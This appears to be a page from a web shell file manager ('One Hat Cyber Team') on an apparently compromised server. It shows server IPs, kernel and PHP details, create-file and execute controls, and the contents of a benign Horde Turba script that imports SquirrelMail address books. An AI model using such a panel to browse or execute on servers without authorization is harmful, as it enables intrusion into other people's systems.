⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
psa-pear
/
pear
/
View File Name :
turba-import-squirrelmail-sql-abook
#!/usr/bin/env php * @author Jan Schneider
*/ if (file_exists(__DIR__ . '/../../turba/lib/Application.php')) { $baseDir = __DIR__ . '/../'; } else { require_once 'PEAR/Config.php'; $baseDir = PEAR_Config::singleton() ->get('horde_dir', null, 'pear.horde.org') . '/turba/'; } require_once $baseDir . 'lib/Application.php'; Horde_Registry::appInit('turba', array('cli' => true, 'user_admin' => true)); // Read command line parameters. if ($argc != 2) { $cli->message('Too many or too few parameters.', 'cli.error'); $cli->writeln('Usage: turba-import-squirrelmail-sql-abook DSN'); $cli->writeln($cli->indent('DSN are json-encoded connection parameters to the database containing the "userprefs" table. Example:')); $cli->writeln($cli->indent('{"adapter":"mysql","user":"root","password":"password","host":"localhost","database":"squirrelmail"}')); exit; } $db = $injector->getInstance('Horde_Db')->createDb(json_decode($argv[1])); include TURBA_BASE . '/config/backends.php'; // Loop through SquirrelMail address books. $handle = $db->select('SELECT owner, nickname, firstname, lastname, email, label FROM address ORDER BY owner'); $turba_shares = $GLOBALS['injector']->getInstance('Turba_Shares'); $user = null; $count = 0; foreach ($handle as $row) { // Set current user if ($row['owner'] != $user) { if (!is_null($user)) { $cli->message(' Added ' . $count . ' contacts', 'cli.success'); $count = 0; } $user = $row['owner']; $registry->setAuth($user, array()); $cli->message('Importing ' . $user . '\'s address book'); // Reset user prefs $prefs = $injector->getInstance('Horde_Core_Factory_Prefs')->create('turba', array( 'cache' => false, 'user' => $user )); // Reset $cfgSources for current user. unset($cfgSources); $hasShares = false; foreach ($cfgSources as $key => $cfg) { if (!empty($cfg['use_shares'])) { $has_share = true; break; } } if ($has_share) { $cfgSources = Turba::getConfigFromShares($cfgSources); } $cfgSources = Turba::permissionsFilter($cfgSources); if (!count($cfgSources)) { $cli->message('No address book available for ' . $user, 'cli.error'); continue; } // Get user's default addressbook $import_source = $prefs->getValue('default_dir'); if (empty($import_source)) { $import_source = array_keys($cfgSources); $import_source = $import_source[0]; } // Check existance of the specified source. if (!isset($cfgSources[$import_source])) { $cli->message(' ' . sprintf(_("Invalid address book: %s"), $import_source), 'cli.error'); continue; } // Initiate driver try { $driver = $injector->getInstance('Turba_Factory_Driver')->create($import_source); } catch (Turba_Exception $e) { $cli->message(' ' . sprintf(_("Connection failed: %s"), $e->getMessage()), 'cli.error'); continue; } } if (!count($cfgSources)) { continue; } $rfc822 = new Horde_Mail_Rfc822(); $members = $rfc822->parseAddressList($row['email']); if (count($members) > 1) { // Entry is a list of contacts, import each individually and create a // group that contains them. $attributes = array('alias' => $row['nickname'], 'firstname' => $row['firstname'], 'lastname' => $row['lastname'], 'notes' => $row['label']); $gid = $driver->add($attributes); $group = new Turba_Object_Group($driver, array_merge($attributes, array('__key' => $gid))); ++$count; foreach (array_map('strval', $members) as $member) { try { $result = $driver->add(array( 'firstname' => $member, 'email' => $member )); $group->addMember($result, $import_source); ++$count; } catch (Turba_Exception $e) { $cli->message(' ' . $e->getMessage(), 'cli.error'); } } $group->store(); } else { // Entry only contains one contact, import it. $contact = array( 'alias' => $row['nickname'], 'firstname' => $row['firstname'], 'lastname' => $row['lastname'], 'email' => $row['email'], 'notes' => $row['label'] ); try { $driver->add($contact); ++$count; } catch (Turba_Exception $e) { $cli->message(' ' . $e->getMessage(), 'cli.error'); } } } $cli->message(' Added ' . $count . ' contacts', 'cli.success');